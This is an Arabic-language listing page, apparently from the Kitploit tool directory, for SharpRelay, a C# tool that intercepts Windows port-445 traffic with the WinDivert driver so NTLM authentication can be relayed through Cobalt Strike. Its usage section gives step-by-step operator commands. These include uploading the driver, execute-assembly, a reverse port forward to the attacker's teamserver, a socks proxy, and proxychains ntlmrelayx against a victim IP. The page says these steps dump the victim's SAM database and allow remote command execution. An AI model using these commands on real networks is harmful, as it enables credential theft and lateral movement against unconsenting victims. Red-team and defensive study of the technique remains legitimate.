Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/pkb1s/sharprelay
التقاط وتحليل الحزمالحركة الجانبيةاختبار الاختراقالفريق الأحمر
GitHubpkb1s/sharprelay

SharpRelay

أداة C# تستخدم برنامج تشغيل WinDivert لاعتراض وإعادة توجيه حركة المرور على منفذ 445 في ويندوز لهجمات إعادة التوجيه NTLM عبر Cobalt Strike، مما يتيح الحركة الجانبية وجمع بيانات الاعتماد في عمليات الفريق الأحمر.

عرض المستودع
17921منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

الاستخدام

الشرط الوحيد لنجاح هذا الهجوم هو وجود beacon بصلاحيات مسؤول محلي أو القدرة على تحميل برامج التشغيل. يعمل الهجوم باستخدام SharpRelay كالتالي:

  • قم بتحميل برنامج تشغيل WinDivert الموقّع إلى أي مجلد على الجهاز المخترق
  • قم بتشغيل SharpRelay لتعديل المنفذ الوجهة للحزم الواردة على المنفذ 445 وإعادة توجيهها إلى منفذ آخر (مثل 8445)
  • من beacon الخاص بنا، قم بتشغيل أمر rportfwd الخاص بـ Cobalt Strike لتوجيه المنفذ 8445 من الجهاز المخترق إلى المنفذ 445 الخاص بـ teamserver الخاص بنا.
  • ابدأ خادم socks لإعادة توجيه حركة المرور المُعاد توجيهها إلى شبكة الضحية
  • قم بتشغيل ntlmrelayx من Impacket مع proxychains للقيام بـ SMB relay
  • عندما يحاول الضحية الوصول إلى المنفذ 445 للجهاز المخترق، سيتم توجيه مصادقة NTLM إلى teamserver الخاص بنا وإعادة توجيهها إلى جهاز آخر

يمكن تشغيل الأوامر المثال التالية من Cobalt Strike لتنفيذ هذه الإجراءات:

root@kitploit:~
socks 4444
rportfwd 8445 127.0.0.1 445
cd C:\Users\victim
upload /root/Desktop/intercept.sys
execute-assembly /root/Desktop/SharpRelay.exe fakeservice C:\Users\victim\intercept.sys 445 8445

عند تنفيذ كل ما سبق بنجاح، تحتاج إلى بدء خادم التوجيه الخاص بك (قم بتكوين proxychains على المنفذ المحدد في الأوامر أعلاه، على سبيل المثال 4444):

root@kitploit:~
proxychains ntlmrelayx.py -t smb://<VICTIM-IP> -smb2support

سيقوم الأمر أعلاه بتفريغ قاعدة بيانات SAM من جهاز الضحية. من الممكن أيضًا الحصول على واجهة SMB تفاعلية بالإضافة إلى تنفيذ الأوامر عن بُعد على الضحية.

تم اختبار SharpRelay ضد Win10 x64.

تعليمات البناء

إذا كنت ترغب في بناء الأداة من المصدر، يمكنك القيام بما يلي:

  • استنساخ المستودع (clone the repo)
  • تأكد من رؤية جميع حزم NuGet في علامة التبويب "مثبتة" عن طريق فتح "Project->Manage NuGet Packages" في Visual Studio
  • بناء المشروع

تم اختبار التعليمات أعلاه باستخدام Visual Studio 2019.

التفاصيل التقنية

يعتمد SharpRelay على برنامج تشغيل WinDivert. وفقًا لوصفه، WinDivert هو برنامج تشغيل kernel يسمح باعتراض وتعديل الحزم في وضع المستخدم. يحتاج المستخدم إلى تحديد عامل تصفية (filter) وسيتم اعتراض أي حزم تطابق هذا الفلتر ويمكن تعديلها.

من ملف ReadMe:

root@kitploit:~
The WinDivert.sys driver is installed below the Windows network stack.  The
following actions occur:

(1) A new packet enters the network stack and is intercepted by WinDivert.sys
(2a) If the packet matches the PROGRAM-defined filter, it is diverted.  The
    PROGRAM can then read the packet using a call to WinDivertRecv().
(2b) If the packet does not match the filter, the packet continues as normal.
(3) PROGRAM either drops, modifies, or re-injects the packet.  PROGRAM can
    re-inject the (modified) using a call to WinDivertSend().

بالنسبة لنا، أهم شيء يسمح لنا به WinDivert هو أنه يمكننا اعتراض حركة المرور المتجهة إلى منفذ Windows مفتوح وإعادة توجيهها إلى منفذ آخر عن طريق تعديل منافذ TCP المصدر والوجهة لكل حزمة، وإعادة حساب مجاميع TCP الاختبارية (checksums) وإعادة حقن الحزم في مكدس الشبكة.

على Windows، المنفذ 445 يعمل دائمًا بشكل افتراضي. لن أتعمق في تفاصيل العملية باستخدام المنفذ 445 لأن هذا تم تحليله بالفعل في المنشور التالي، لذا يرجى المتابعة وقراءته:

  • https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/

يحتوي المنشور أعلاه أيضًا على فكرة مثيرة للاهتمام أخرى. استخدام WinDivert لتنفيذ هجوم SMB relay عبر Metasploit. يمكنك تحميل عدد قليل من ملفات DLL وملف برنامج تشغيل إلى الجهاز الهدف مع divertTCPconn.exe وتنفيذها. وجدت هذا الهجوم رائعًا، لكن ما لم يعجبني هو أنه كان عليك تحميل ملفات DLL متعددة على الجهاز الهدف.

لذا كان هدفي هو تنفيذ نفس الهجوم مع إسقاط أقل عدد ممكن من الملفات على القرص وأيضًا تنفيذ الهجوم عبر Cobalt Strike.

أولاً، أردت الاستفادة من وظيفة execute-assembly الخاصة بـ Cobalt Strike لذا قررت كتابة الكود الخاص بي باستخدام إطار .NET. كان تفكيري الأولي هو إعادة كتابة divertTCPconn بلغة C# وبعد ذلك سيعمل كل شيء. اتضح أن هذا كان معقدًا للغاية. لحسن الحظ، وجدت حزمة NuGet التالية التي كتبها TechnikEmpire:

  • https://github.com/TechnikEmpire/WinDivertSharp

باستخدام WinDivertSharp، تمكنت من كتابة SharpRelay لتحميل برنامج التشغيل عن طريق إنشاء خدمة والتواصل مع برنامج تشغيل WinDivert لتنفيذ أي تعديل على الحزم أحتاجه.

تنزيل الأداة